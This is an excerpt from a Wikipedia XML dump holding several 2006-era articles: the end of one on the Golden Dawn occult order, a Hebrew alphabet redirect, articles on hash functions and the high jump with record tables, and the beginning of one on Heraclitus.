The primary basis of the Golden Dawn philosophy is an integrated Western Hermeticism, organized into a more or less coherent structure. The Golden Dawn's Hermetic roots came together from the philosophies of the ancient Egyptians and Greeks, with Gnosticism and Neo-Platonism merging in the second and third century; with influence from the Moslem [[Sufi]]s brought to Europe by Crusader orders; the [[Kabbalah|Qabala]] — itself influenced by Neo-Platonism - and alchemy, merging in the fifteenth and sixteenth centuries. The philosophy of the Inner Order, more so than that of the Outer, was also heavily influenced by mystic Christianity and Rosicrucian ideals. By the mid-1800s, the final additions to what we recognize as Western Magic Tradition are complete—the Tarot, Astrology, and [[Talisman]]ic Magic. To this mix the Golden Dawn added [[Enoch]]ian Magic, a system developed in the late 16th century by Dr. [[John Dee]], astrologer and cartographer to Queen Elizabeth I, and the Hindu meditation system of [[Tattvas]], along with the Tantric principles of the [[Chakra]]s.

Before the Golden Dawn, attempts to draw the mass of Western tradition together into a coherent system had been flawed, or incomplete. Barrett and Constant (Levi) had both attempted a system that unified Western tradition. But it would be the Golden Dawn which produced a balanced and harmonious system which included all the disparate elements of Western Esotericism.

At its core, the philosophy of the Golden Dawn is one of perfectible [[humanism]]; that by use of the [[Esotericism|esoteric]] tools and techniques passed down from antiquity, a human being can advance in spiritual knowledge and magical power, and with hard work and discipline, come to control his or her own destiny.

===The Secret Chiefs===
The Order is meant to be the repository of great spiritual knowledge passed down from ancient sources. Though some sources such as [[Imhotep]], [[King Solomon]], [[Hermes Trismegistus]] and [[Christian Rosenkreuz|Christian Rosenkreutz]] are part of the [[legend]]ary history of the Order; the original founders (in particular Mathers) expounded a doctrine of &quot;The Secret Chiefs&quot;, who collectively represented the &quot;Third&quot; or highest Order of the Western Magical tradition. Mathers declared these Chiefs of the Order were living human beings, or perhaps &quot;evolved&quot; human beings, that possessed the secrets of immortality, omniscience, and superhuman magical powers. He claimed to be in personal contact with certain of these Chiefs, and based his authority as the indisputable leader of the Order on instructions supposedly handed down from them.

Other Golden Dawn Lodges and Adepts also claimed to be &quot;in contact&quot; with Secret Chiefs, and the original schisms of the Golden Dawn can almost be seen as various &quot;Chiefs&quot; issuing conflicting orders to their contacts. Mathers claimed that he actually met Chiefs in person and that they had physical bodies. Florence Farr believed herself to have psychically contacted a Chief, in a manner similar to what is now called &quot;channeling&quot;, and was even authorized by Mathers in 1897 to form a working group, &quot;The Sphere Group&quot;, to make further contact with this Chief. Aleister Crowley claimed that a spiritual entity named &quot;Aiwass&quot;, who was a Secret Chief, dictated to him in 1904 the ''[[Book of the Law]]'' which was to be the basis of a new Hermetic philosophy. Another faction led by F.W. Felkin, moved their Temple to New Zealand to await the physical arrival of their Chief, who unfortunately never showed up. Generally, each faction refused to acknowledge the authority of another faction's contact with a &quot;Secret Chief.&quot;

Many Golden Dawn practitioners today believe that the Secret Chiefs are not necessarily living humans or supernatural beings, but are the symbolic &quot;current&quot; of all the actual and legendary sources of spiritual [[esotericism]]. Any great leader or teacher of a spiritual path or practice that found its way into the teachings of the Order -- and that definition covers a wide range, from paganism to [[Buddhism]] to [[Judeo-Christian|Judeo-Christianity]] -- can be considered as a Secret Chief of the Golden Dawn. They are &quot;secret&quot; not by virtue of being unknown to the outside world, but rather that their knowledge has found its way into the &quot;secrets&quot; of the Order. Their teachings are &quot;secret&quot; because they can only be fully understood by someone who embarks on the path of spiritual advancement and attains Adepthood.

===The Structure of the Order===
The Golden Dawn follows a &quot;fraternal lodge&quot; model similar to [[freemasonry]], with titles, degrees and initiations. The Order purports to be a [[meritocracy]], with advancement based on tests of knowledge and demonstration of skills.

In the Outer Order, both the layout of the Temple and the functions of Officers seem to closely mirror those of the [[Blue Lodge|Blue Lodge of Masonry]]. The names of the Grades, or degrees of initiation, as well as the titles bestowed upon initiates, were taken from old sources such as the German Masonic &quot;Gold und Rosen-kreutzers&quot;, and Pianco's 1781 book, ''Der Rosenkreutzer in seiner Blosse''. In the Inner Order, the Rosicrucian drama enacted in the initiation rituals is reminiscent of that in the &quot;Rose Croix&quot; degree of the Ancient and Accepted Scottish Rite of Freemasonry, and is certainly related to the ceremonies of the S.R.I.A. The Grades in the Golden Dawn are based on the symbolism of the Qabalistic Tree of Life.

====The Grades of the Golden Dawn====
''First Order:''
*Introduction—Neophyte 0=0

*Zelator 1=10
*Theoricus 2=9
*Pracitcus 3=8
*Philosophus 4=7

''Second Order:''
*Intermediate—Portal Grade

*Adeptus Minorus 5=6
*Adeptus Majorus 6=5
*Adeptus Exemptus 7=4

''Third Order:''

*Magister Templi 8=3
*Magus 9=2
*Ipsissimus 10=1

The paired numbers attached to the Grades relate to positions on the Tree of Life. The Neophyte Grade of &quot;0=0&quot; indicates no position on the Tree. For the others, the first numeral is the number of steps up from the bottom (Malkuth), and the second numeral is the number of steps down from the top (Kether).

The First Order Grades are related to the four Classical Elements of Earth, Air, Water and Fire, respectively. The Aspirant to a Grade receives instruction on the metaphysical meaning of each of these Elements, and must pass a written examination and demonstrate certain skills to receive Admission to that Grade.

The Portal Grade is the initiation for admittance to the Second Order. In most Lodges, the Circle of existing Adepts must consent to allow an Aspirant to join the Second Order. 

The Second Order is not, properly, part of the &quot;Golden Dawn&quot;, but a separate Order in its own right, known as the R.R. et A.C. The Second Order directed the teachings of the First Order, and was the governing force behind the First Order.

After passing the Portal, the Aspirant begins to be instructed in the techniques of practical Magic. When another examination is passed, and the other Adepts consent, the Aspirant attains the Grade of Adeptus Minor 5=6. (In the original Order, there were four sub-Grades of instruction for the Adeptus Minor, again relating to the four Outer Order grades.) 

A member of the Second Order has the power and authority to initiate aspirants to the First Order, though usually not without the permission of the Chiefs of his or her Lodge.

===Light in Extension===
The original Golden Dawn left behind a legacy that continues to inspire students of the esoteric arts to this day. Modern neo-pagan practices such as &quot;circle casting&quot;, use of the pentagram, hexagram and other geometric forms as sacred symbols, &quot;out-of-body&quot; experiences, the Tarot cards, talismans, astrology and many others, can find their roots in the Golden Dawn. While the Order may not have originated all these forms, they synthesized them into a coherent body of work that continues to appeal to occultists and esoteric scholars more than 100 years later. The Light of the Golden Dawn continues to be extended to this day.

''&quot;Let us work, therefore, my brethren, and effect righteousness, because the Night cometh when no man shall labour... May the Light which is behind the Veil shine through you from your Throne in the East on the Fratres and Sorores of the Order and lead them to the perfect day, when the glory of this world passes and a great Light shines over the splendid sea.&quot;'' -- S.L. MacGregor Mathers

==Notes==
*{{fnb|1}} Golden Dawn researcher R.A. Gilbert has found evidence which suggests that Westcott was instrumental in developing the Order's rituals from the Cipher Manuscript. See Gilbert's article, ''From Cipher to Enigma: The Role of William Wynn Westcott in the Creation of the Hermetic Order of the Golden Dawn'', from Carroll Runyon's book ''Secrets of the Golden Dawn Cypher Manuscripts''

==See also==
*[[Argentinum Astrum]] (A.A.)
*[[Hermeticism]]
*[[Magic (paranormal)]]
*[[Tattva vision]]

==References==
* Colquhoun, Ithell. ''Sword of Wisdom: Macgregor Mathers and the Golden Dawn''. (Neville Spearman, [[1975]]) ISBN 0854350926.
* Greer, Mary K. ''Women of the Golden Dawn''. (Park Street, [[1994]]) ISBN 0892815167.
* Gilbert, Robert A. ''The Golden Dawn: Twilight of the Magicians''. The Aquarian Press, [[1983]]. ISBN 0850302781.
* Gilbert, Robert A.  ''The Golden Dawn Companion''. Weiser Books, (1986) ISBN: 0850304369
* Gilbert, Robert A.  ''Golden Dawn Scrapbook - The Rise and Fall of a Magical Order'' Weiser Books (1998) ISBN 1578630371
* Howe, Ellic. ''The Magicians of the Golden Dawn: A Documentary History of a Magical Order 1887-1923''. Samuel Weiser (1978).  ISBN 0877283699. 
* Regardie, Israel, et. al., eds., ''The Golden Dawn: A Complete Course in Practical Ceremonial Magic'' (Llewellyn, [[1989]]) ISBN 0875426638
* Runyon, Carroll ''Secrets of the Golden Dawn Cipher Manuscripts'', (C.H.S., 1997) ISBN 0965488128

==External links==
*[http://www.flashback.se/archive/gdfaq.html Golden Dawn FAQ]
*[http://www.hermetic.com/gdlibrary/ The Golden Dawn Library Project]
*[http://www.angelfire.com/ab6/imuhtuk/ Golden Dawn Lectures and Rituals]
*[http://www.llewellynencyclopedia.com/term/Golden+Dawn Golden Dawn entries in Llewellyn Encyclopedia]
*[http://www.witchvox.com/va/dt_va.html?a=usxx&amp;c=trads&amp;id=3210 Traditions at Witchvox: The Golden Dawn]
*[http://altreligion.about.com/library/texts/bl_historygoldendawn.htm Golden Dawn Tradition, by co-founder Dr. W. Wynn Westcott]
*[http://www.hermetic.com/gdlibrary/cipher/ Photocopies and the translation of the original Cipher Manuscripts]

[[Category:New religious movements]]
[[Category:Esotericism]]
[[Category:Hermeticism]]
[[Category:Occult]]

[[bg:Златната Зора]]
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[[ja:黄金の夜明け団]]
[[pl:Hermetyczny Zakon Złotego Brzasku]]
[[pt:Ordem Hermética do Amanhecer Dourado]]</text>
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  <page>
    <title>Hebrew alephbeth</title>
    <id>13789</id>
    <revision>
      <id>15911381</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Hebrew alphabet]]
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  <page>
    <title>Hash function</title>
    <id>13790</id>
    <revision>
      <id>41934260</id>
      <timestamp>2006-03-02T18:56:56Z</timestamp>
      <contributor>
        <username>ShawnVW</username>
        <id>144487</id>
      </contributor>
      <comment>Tried to make initial definition clearer to the layman, using terms from Wiktionary</comment>
      <text xml:space="preserve">A '''hash function''' or '''hash algorithm''' is a [[function (programming)|function]] for examining the input data and producing an output of a fixed length, called a '''hash value'''. Two different inputs are unlikely to hash to the same hash value.  

The process of computing such a value is known as '''hashing''', and is used in cryptography and error-checking.

Simply put, a piece of information&amp;mdash;this article for example&amp;mdash;is run through a function. The result is a relatively short string of digits, which is likely to be unique. If you change one letter in this article, and then run it through the function again, the result should be different. This is used in computing as a way to verify whether a piece of information, like a video file or this article, has been altered.

[[Image:Hash_function.svg|thumb|330px|right|A typical hash function at work]]

A fundamental property of all hash functions is that if two hashes (according to the same function) are different, then the two inputs were different in some way.  This property is a consequence of hash functions being [[deterministic algorithm|deterministic]], [[function (mathematics)|mathematical functions]], but the equality of two hash values does not guarantee the two inputs were the same unless the function is [[one-to-one]].  More typically, [[probability theory|probability theoretic]] or [[Computability theory (computation)|computability theoretic]] properties apply to the case of equal hash values.

Because of the variety of applications for hash functions (details below), they are often tailored to the application.  For example, [[cryptographic hash functions]] assume the existence of an [[adversary]] who can deliberately try to find inputs with the same hash value.  Functions for error detection and correction focus on distinguishing cases in which data has been disturbed by random processes.  In any application, a good hash function is one that yields few [[hash collision|hash collisions]] in expected input domains.  In [[hash table]]s and [[data processing]], collisions inhibit the distinguishing of data, making [[Database record|records]] more costly to find.

Typical hash functions have an infinite domain, such as [[byte]] [[string (computer science)|strings]] of arbitrary length, and a finite range, such as [[bit]] sequences of some fixed length.  Functions that follow this paradigm and produce random-looking output are considered ''stock'' hash functions, because they can be used directly in or easily adapted for most applications.  Functions intended for cryptographic hashing, such as [[MD5]], are commonly used as stock hash functions.

Hash functions that are [[one-to-one]] are also called '''randomization functions'''.  Randomization functions cannot directly use stock hash functions, but instead use a series of [[reversible]] &quot;mixing&quot; operations on the function input to satisfy the required [[one-to-one]] property.

== Cryptography ==
:''Main article: [[cryptographic hash function]]''

[[one-way function|One-way]] hash functions are fundamental for much of [[cryptography]].  In this application, functions are characterized and evaluated in terms of their ability to withstand attack by an [[adversary]].  More specifically, given a message x, if it is computationally infeasible to find a message y not equal to x such that H(x) = H(y) then H is said to be a ''weakly collision-free hash function''.  A ''strongly collision-free hash function'' H is one for which it is computationally infeasible to find any two distinct messages x and y such that H(x) = H(y). 

The requirements for a good cryptographic hash function are stronger than those in many other applications (error correction and audio identification ''not'' included).  For this reason, cryptographic hash functions make good stock hash functions&amp;mdash;even functions whose cryptographic security is compromised, such as [[MD5]] and [[SHA-1]].  The [[SHA-2]] algorithm, however, has no known compromises.

A typical cryptographic [[one-way function]] is not one-to-one and makes an effective hash function; a typical cryptographic [[trapdoor function]] ''is'' one-to-one and makes an effective randomization function.

== Hash tables ==

:''Main article: [[Hash table]]''

Hash tables, a major application for hash functions, enable fast lookup of a data record given its ''key.'' (Note: Keys are not usually secret as in [[cryptography]], but both are used to &quot;unlock&quot; or access information.) For example, keys in an English dictionary would be English words, and their associated records would contain definitions. In this case, the hash function must map alphabetic strings to indexes for the hash table's internal [[array]].

The generally impossible/impractical ideal for a hash table's hash function is to map each key to a unique index (see [[perfect hashing]]), because this guarantees access to each data record in the first probe into the table.

Hash functions that are truly random with uniform output (including most [[Cryptographic hash function|cryptographic hash functions]]) are good in that, on average, only one or two probes will be needed (depending on the [[load factor]]).  Perhaps as important is that excessive [[hash collision|collision]] rates with random hash functions are highly improbable&amp;mdash;if not [[Computational complexity|computationally infeasible]] for an [[adversary]].  However, a small, predictable number of collisions is virtually inevitable (see [[birthday paradox]]).

In many cases, a [[Heuristic (computer science)|heuristic]] hash function can yield many fewer collisions than a random hash function.  Heuristic functions take advantage of [[Regularity|regularities]] in likely sets of keys.  For example, one could design a heuristic hash function such that file names such as &lt;tt&gt;FILE0000.CHK&lt;/tt&gt;, &lt;tt&gt;FILE0001.CHK&lt;/tt&gt;, &lt;tt&gt;FILE0002.CHK&lt;/tt&gt;, etc. map to successive indices of the table, meaning that such sequences will not collide.  Beating a random hash function on &quot;good&quot; sets of keys usually means performing much worse on &quot;bad&quot; sets of keys, which can arise naturally&amp;mdash;not just through [[Computer insecurity|attacks]].  Bad performance of a hash table's hash function means that lookup can degrade to a costly [[linear search]].

Aside from minimizing collisions, the hash function for a hash table should also be fast relative to the cost of retrieving a record in the table, as the goal of minimizing collisions is minimizing the time needed to to retrieve a desired record.  Consequently, the optimal balance of performance characteristics depends on the application.

One of the most respected hash functions for use in typical hash tables is Bob Jenkins' [http://burtleburtle.net/bob/c/lookup2.c LOOKUP2] hash function, published in an [http://burtleburtle.net/bob/hash/doobs.html article] in [[Dr. Dobb's Journal]].  The hash function performs well as long as there is no [[adversary]], for it is trivially [[Preimage|reversible]] and useless as a [[cryptographic hash function]].

== Error correction ==

:''Main article: [[Error correction and detection]]''

Using a hash function to detect errors in transmission is straightforward. The hash function is computed for the data at the sender, and the value of this hash is sent with the data. The hash function is performed again at the receiving end, and if the hash values do not match, an error has occurred at some point during the transmission. This is called a [[redundancy check]].

For error correction, a distribution of likely perturbations is assumed at least approximately.  Perturbations to a string are then classified into large (improbable) and small (probable) errors.  The second criterion is then restated so that if we are given H(x) and x+s, then we can compute x efficiently if s is small.  Such hash functions are known as error correction codes.  Important sub-class of these correction codes are [[cyclic redundancy check]]s and [[Reed-Solomon code]]s.

== Audio identification ==
For audio identification such as finding out whether an [[MP3]] file matches one of a list of known items, one could use a conventional hash function such as MD5, but this would be very sensitive to highly likely perturbations such as time-shifting, CD read errors, different compression algorithms or implementations or changes in volume.  Using something like MD5 is useful as a first pass to find exactly identical files, but another more advanced algorithm is required to find all identical items.  Contrary to an assumption often voiced by people who don't follow the industry carefully, hashing algorithms ''do'' exist that are robust to these minor differences.  Most of the algorithms available are not extremely robust, but some are so robust that they can identify music played on loud-speakers in a noisy room.  &lt;!-- Examples of such algorithms include ... --&gt;

== Rabin-Karp string search algorithm ==
[[Rabin-Karp string search algorithm]] is a relatively fast [[string searching algorithm]] that works in [[Big O notation|O(n)]] time on average. It is based on the use of hashing to compare strings.

== Origins of the term ==
The term &quot;hash&quot; apparently comes by way of analogy with its standard meaning in the physical world, to &quot;chop and mix.&quot; 
[[Knuth]] notes that [[Hans Peter Luhn]] of [[IBM]] appears to have been the first to use the concept, in a memo dated January [[1953]]; the term ''hash'' came into use some ten years later.

In the SHA-1 algorithm, for example, the domain is &quot;flattened&quot; and &quot;chopped&quot; into &quot;words&quot; which are then &quot;mixed&quot; with one another using carefully chosen mathematical functions.  The range (&quot;hash value&quot;) is made to be a definite size, 160 bits (which may be either smaller or larger than the domain), through the use of [[modular_arithmetic|modular division]].

== See also ==
*[[Cryptography]]
*[[Cryptographic hash function]]
*[[HMAC]]
*[[Geometric hashing]]
*[[Message digest]]
*[[Perfect hash function]]
*[[Rabin-Karp string search algorithm]]
*[[Zobrist hashing]]
*[[Bloom filter]]
* [[Hash table]]
* [[Hash list]]
* [[Hash tree]]
*[[Coalesced hashing]]

== References ==
* [http://www.extra.research.philips.com/natlab/download/audiofp/cbmi01audiohashv1.0.pdf Robust Audio Hashing for Content Identification]

== External links ==
*[http://www.partow.net/programming/hashfunctions/index.html General purpose hash function algorithms (C\C++\Pascal\Java\Ruby)]
*[http://burtleburtle.net/bob/hash/evahash.html Hash Functions for Hash Table Lookup] by Bob Jenkins
*[http://www.azillionmonkeys.com/qed/hash.html Hash Functions] by Paul Hsieh
*[http://www.rsasecurity.com/rsalabs/node.asp?id=2176 What is a hash function?] from RSA Laboratories
*[http://www.paulschou.com/tools/xlate/ Online Char (ASCII), HEX, Binary, Base64, etc... Encoder/Decoder with MD2, MD4, MD5, SHA1+2, etc. hashing algorithms]

[[Category:Search algorithms]]
[[Category:Error detection and correction]]

[[ca:Hashing]]
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  <page>
    <title>High jump</title>
    <id>13791</id>
    <revision>
      <id>41940720</id>
      <timestamp>2006-03-02T19:48:49Z</timestamp>
      <contributor>
        <username>Jonel</username>
        <id>56176</id>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">[[Image:EthelCatherwood1928.jpg|thumb|250px|Gold medal winner [[Ethel Catherwood]] of [[Canada]] ''scissors'' over the bar at the [[1928 Summer Olympics]]. Her winning result was 1.59 m]]

The '''high jump''' is an [[athletics]]/[[track and field]] event in which competitors must jump over a horizontal bar placed at measured heights.

==History==

Although the event was likely competed in as early as the ancient Greek Olympics, the first recorded high jump competition took place in Scotland in the early [[19th century]], with clearances of up to 5'6&quot; (1.68 m) measured.  Early jumpers used either a straight on approach or a ''scissors'' technique.  In the latter, the bar was approached on a diagonal, and the jumper threw first the inside leg and then the other over the bar in a scissoring motion.  Around the turn of the century, techniques began to modernize, starting with  M.F. Sweeney's ''Eastern cut-off''.  By taking off as in the scissors, but extending his back and flattening out over the bar, the Irish-American gained a more economic clearance and took the world record to 6'5-5/8&quot; (1.97 m) in [[1895]]. 

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  id:Basis  value:red legend:World_record_women's_high_jump

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  from:1922 till:end color:Basis
  at:1922               text:[[Nancy_Vorhees]]_1,46_m
  at:1926               text:[[Phyllis_Green]]_1,55_m
  at:1929               text:[[Carolina_Gisoll]]_1,60_m
  at:1932               text:[[Jean_Shiley]]_1,65_m
  at:1939               text:[[Dorothy_Adams]]_1,66_m
  at:1943               text:[[Fanny_Blankers-Koen]]_1,71_m
  at:1956               text:[[Mildred Singleton]]_1,76_m
  at:1958               text:[[Iolanda_Balas]]_1,80_m
  at:1960 shift:(22,-8) text:Iolanda_Balas_1,85_m
  at:1961 shift:(22,-7) text:Iolanda_Balas_1,90_m
  at:1961 shift:(22,0)  text:Iolanda_Balas_1,91_m
  at:1971               text:[[Ilona_Gusenbauer]]_1,92_m
  at:1972               text:[[Jordanka_Blagojewa]]_1,94_m
  at:1974               text:[[Rosemarie_Ackermann]]_1,95_m
  at:1976 shift:(22,-8) text:Rosemarie_Ackermann_1,96_m
  at:1977 shift:(22,-8) text:Rosemarie_Ackermann_1,97_m
  at:1977 shift:(22,-1) text:Rosemarie_Ackermann_2,00_m
  at:1978 shift:(22,-2) text:[[Sara_Simeoni]]_2,01_m
  at:1982 shift:(22,-6) text:[[Ulrike_Meyfarth]]_2,02_m
  at:1983 shift:(22,-8) text:Ulrike_Meyfarth_2,03_m
  at:1983 shift:(22,-1) text:[[Tamara_Bykowa]]_2,04_m
  at:1984 shift:(22,-5) text:Tamara_Bykowa_2,05_m
  at:1984 shift:(22,2)  text:[[Ludmilla_Andonowa]]_2,07_m
  at:1986               text:[[Stefka_Kostadinova]]_2,08_m
  at:1987               text:Stefka_Kostadinova_2,09_m
&lt;/timeline&gt;
&lt;/div&gt;
 
Another American, M.F. Horine, developed a yet more efficient technique, the 'Western roll'.  In this style, the bar again is approached on a diagonal, but the inner leg is used for the take-off, while the outer leg is thrust up to lead the body sideways over the bar.  Horine took the world standard to 6'7&quot; (2.01 m) in [[1912]].  His technique predominated through the [[Berlin Olympics]] of [[1936]] where the event was won by Cornelius Johnson at 2.03 m (6'9-3/4&quot;).

American and then Russian jumpers dominated the next four decades, which saw the evolution of the ''straddle'' technique.  Straddle jumpers took off as in the Western roll, but rotated their (belly-down) torso around the bar, obtaining the most economical clearance to date.  Straddle-jumper Charles Dumas broke the elusive 7' (2.13 m) barrier in [[1956]], and American wunderkind [[John Thomas (high jumper)|John Thomas]] pushed the world mark to 2.23 m (7'3-3/4&quot;) in [[1960]]. [[Valeriy Brumel]] took over the event for the next four years.  The elegant Soviet jumper radically sped up his approach run, took the record up to 2.28 m (7'5-3/4&quot;), and won the Olympic gold medal in [[1964]], before a motorcycle accident foreshortened his career.
  
American coaches, including two-time [[NCAA]] champion Frank Costello of the University of Maryland, flocked to Russia to learn from Brumel and his coaches.  However it would be a solitary innovator at Oregon State University, [[Dick Fosbury]], who would bring the high jump into the next century.  Taking advantage of the raised, softer landing areas by then in use, Fosbury added a new twist to the outmoded Eastern Cut-off.  He directed himself over the bar head and shoulders first, sliding over on his back and landing in a fashion which would likely have broken his neck in the old sawdust landing pits.  After he used this [[Fosbury flop]] to win the [[1968]] Olympic gold medal, the technique began to spread around the world, and soon ''floppers'' were dominating international high jump competitions. The last straddler to set a world record was the late Vladimir Yashchenko, who cleared 2.33 m (7'7-3/4&quot;) in 1977 and then 2.35 m (7'8-1/2&quot;) indoors in 1978.

Among renowned high jumpers following Fosbury's lead were: Americans Dwight Stones and his rival, 5'8&quot; (1.73 m) Franklin Jacobs, who cleared 2.32 m (7'7-1/4&quot;), an astounding two feet (0.59 m) over his head; Chinese record-setters Ni-chi Chin and Zhu Jianhua; Germans Gerd Wessig and Dietmar Mögenburg; Swedish Olympic medalist and world record holder [[Patrik Sjöberg]]; and female jumpers [[Iolanda Balaş]] of Romania, Ulrike Meyfarth of Germany and Italy's Sara Simeoni.

==Current status==
At all but novice levels of competition, or where built-up landing areas are not available, the [[Fosbury Flop]] is now almost universally used.  The current men's world record of 2.45 m (8'0-1/2&quot;) was set in [[1993]] by Cuba's [[Javier Sotomayor]], while the women's world record holder is [[Stefka Kostadinova]] of Bulgaria.  In the 2004 Olympics, Sweden's [[Stefan Holm]] won the men's gold medal, and Russia's [[Yelena Slesarenko]] outjumped two-time world champion [[Hestrie Cloete]] to win the women's title. Holm, at 1.81 m tall, equaled Franklin Jacobs' height-over-head record of 59 cm when he cleared 2.40 m (7'10-1/2&quot;) to win the European Indoor championships in March 2005.

==Procedures and rules==

In a competition, the bar is initially set at a relatively low height, and is moved upward in set increments (usually 3 or 5 centimetres, can be 1 cm for record attempts). Each competitor has the option of choosing at which height they wish to start, but once a height has been cleared other competitors may not start at a lower height. Once a competitor has elected to begin, they can choose whether or not to attempt subsequent heights.  A competitor may choose to ''pass'' at a given height or, after failing to clear the bar at a given height, may &quot;pass&quot; on subsequent attempts at that height.  Any competitor who records three consecutive misses is out of the competition. The competitor who clears the highest jump is declared the winner. If two or more competitors clear the same maximum height, the competitor with the lowest number of failed attempts (at any height) wins. If that fails to break a tie for first place, a ''jump off'' is conducted.  Heights obtained in such a jump off are eligible for records.

[[Image:Mens high jump world record progression.jpg|thumb|left|500px]]

The modern high jump bar is made of [[glass-reinforced plastic]] or [[aluminum]]. Other materials are allowed, but there are weight and sag restrictions. The bar is approximately 4 metres in length ([[International Association of Athletics Federations|IAAF]] rules control length for record purposes), with a round, triangular, or square cross-section for most of its length, and two square resting points at each end. It is placed at a measured height on two ''uprights'' which allow the bar to rest on its ends at a measured height. Cleared heights are reported by measuring from the take-off point to the top edge of the lowest part of the bar. Directly behind the bar is a soft foam mat that allows for a safe landing. Competitors must leap off one foot to clear the bar. Although they may touch the bar in their clearance, the jump is ruled unsuccessful if the bar falls due to their touch.  There are rare instances when competitors have been allowed to retry an attempt where the bar has fallen.  This can only happen if the official declares that the bar fell due to other external circumstances, such as wind.

==Top 10 performers==
''as of January 1, 2006''

===Men===
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|- bgcolor=#efefef
!Mark!!Athlete!!Nationality!!Venue!!Date
|-
| 2.45 || [[Javier Sotomayor]] || {{CUB}} || [[Salamanca]] || July 27, 1993
|-
| 2.42 || [[Patrik Sjöberg]] || {{SWE}} || [[Stockholm]] || June 30, 1987
|-
| 2.41 || [[Igor Paklin]] || {{URS}} / {{KGZ}} || [[Kobe]] || September 4, 1985
|-
| 2.40 || [[Rudolf Povarnitsyn]] || {{URS}} / {{UKR}} || [[Donetsk]] || August 11, 1985
|-
| 2.40 || [[Sorin Matei]] || {{ROM}} || [[Bratislava]] || June 20, 1990
|-
| 2.40 || [[Charles Austin]] || {{USA}} || [[Zurich]] || August 7, 1991
|-
| 2.40 || [[Vyacheslav Voronin]] || {{RUS}} || [[London]] || August 5, 2000
|-
| 2.39 || [[Jianhua Zhu]] || {{CHN}} || [[Eberstadt]] || June 10, 1984
|-
| 2.39 || [[Hollis Conway]] || {{USA}} || [[Norman, OK|Norman]] || July 30, 1989
|-
| 2.38 || seven athletes || - || - || -
|}

===Women===
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|- bgcolor=#efefef
!Mark!!Athlete!!Nationality!!Venue!!Date
|-
| 2.09 || [[Stefka Kostadinova]] || {{BUL}} || [[Rome]] || August 30, 1987
|-
| 2.07 || [[Lyudmila Andonova]] || {{BUL}} || [[Berlin]] || July 20, 1984
|-
| 2.06 || [[Kajsa Bergqvist]] || {{SWE}} || [[Eberstadt]] || July 26, 2003
|-
| 2.06 || [[Hestrie Cloete]] || {{RSA}} || [[Paris]] || August 31, 2003
|-
| 2.06 || [[Yelena Slesarenko]] || {{RUS}} || [[Athens]] || August 28, 2004
|-
| 2.05 || [[Tamara Bykova]] || {{URS}} / {{RUS}}  || [[Kyiv]] || June 22, 1984
|-
| 2.05 || [[Heike Henkel]] || {{GER}} || [[Tokyo]] || August 31, 1991
|-
| 2.05 || [[Inha Babakova]] || {{URS}} / {{UKR}} || [[Tokyo]] || September 15, 1995
|-
| 2.04 || [[Silvia Costa]] || {{CUB}} || [[Barcelona]] || September 9, 1989
|-
| 2.04 || [[Venelina Veneva]] || {{BUL}} || [[Kalamata]] || June 2, 2001
|}

==See also==
* [[Olympic medalists in athletics (women)#High_jump]]
* [[Olympic medalists in athletics (men)#High_jump]]
* [[Athletics at the 2004 Summer Olympics - Women's High Jump]]
* [[Athletics at the 2004 Summer Olympics - Men's High Jump]]
* [[World Record progression in athletics high jump men]]

==References==

* ''The Complete Book of Track and Field'', by Tom McNab
* ''The [[World Almanac and Book of Facts]], 2000''

==External links==

*[http://www.iaaf.org/statistics/toplists/inout=O/ageGroup=N/season=0/gender=M/discipline=HJ/legal=A/index.html IAAF all-time list (men)]
*[http://www.iaaf.org/statistics/toplists/inout=O/ageGroup=N/season=0/gender=W/discipline=HJ/legal=A/index.html IAAF all-time list (women)]

{{Template:Track events}}


[[Category:Events in athletics]]

[[ca:Salt d'alçada]]
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  </page>
  <page>
    <title>Heraclitus</title>
    <id>13792</id>
    <revision>
      <id>42101069</id>
      <timestamp>2006-03-03T21:05:00Z</timestamp>
      <contributor>
        <username>Crculver</username>
        <id>38153</id>
      </contributor>
      <comment>Remove non-notable religious sect reference</comment>
      <text xml:space="preserve">[[Image:Heraclitus, Johannes Moreelse.jpg|right|200px|thumb|Heraclitus by [[Johannes Moreelse]]]]

'''Heraclitus''' of Ephesus (Greek {{polytonic|Ἡ&amp;#961;&amp;#8049;&amp;#954;&amp;#955;&amp;#949;&amp;#953;&amp;#964;&amp;#959;&amp;#962;}} ''Herakleitos'') (about [[535 BC|535]] - [[475 BC]]), known as 'The Obscure,' was a [[pre-Socratic]] Greek [[philosopher]] from [[Ephesus]] in [[Asia Minor]]. As with other pre-Socratics, his writings only survive in fragments quoted by other authors.  He disagreed with [[Thales]], [[Anaximander]], and [[Pythagoras]] about the nature of the ultimate substance, but instead claimed that the nature of everything is change itself; he uses fire as a metaphor rather than his solution to material monism.  This led to the belief that [[change]] is real, and stability illusory. For Heraclitus everything is &quot;in flux&quot;, as exemplified in his famous [[aphorism]] &quot;Panta Rhei&quot;:
&lt;blockquote&gt;{{polytonic|&amp;#928;&amp;#8049;&amp;#957;&amp;#964;&amp;#945; &amp;#8165;&amp;#949;&amp;#8150; &amp;#954;&amp;#945;&amp;#8054; &amp;#959;&amp;#8016;&amp;#948;&amp;#8050;&amp;#957; &amp;#956;&amp;#8051;&amp;#957;&amp;#949;&amp;#953;}}&lt;br /&gt;
Everything flows, nothing stands still&lt;/blockquote&gt; Heraclitus is recognized as one of the earliest [[dialectic]]al philosophers with his acknowledgement of the universality of change and development through internal contradictions, as in his statements:  
&lt;blockquote&gt;&quot;By cosmic rule, as day yields night, so winter summer, war peace, plenty famine. All things change. Fire penetrates the lump of myrrh, until the joining bodies die and rise again in smoke called incence.&quot;&lt;/blockquote&gt;
&lt;blockquote&gt;&quot;Men do not know how that which is drawn in different directions harmonises with itself. The harmonious structure of the world depends upon opposite tension like that of the bow and the lyre.&quot;&lt;/blockquote&gt;
He is famous for expressing the notion that no man can cross the same river twice:
&lt;blockquote&gt;ποταμοῖς τοῖς αὐτοῖς ἐμβαίνομέν τε καὶ οὐκ ἐμβαίνομεν
&lt;br&gt;
εἶμέν τε καὶ οὐκ εἶμεν.
&lt;br&gt;
We both step and do not step in the same rivers.
&lt;br&gt;
We are and are not.&lt;/blockquote&gt;
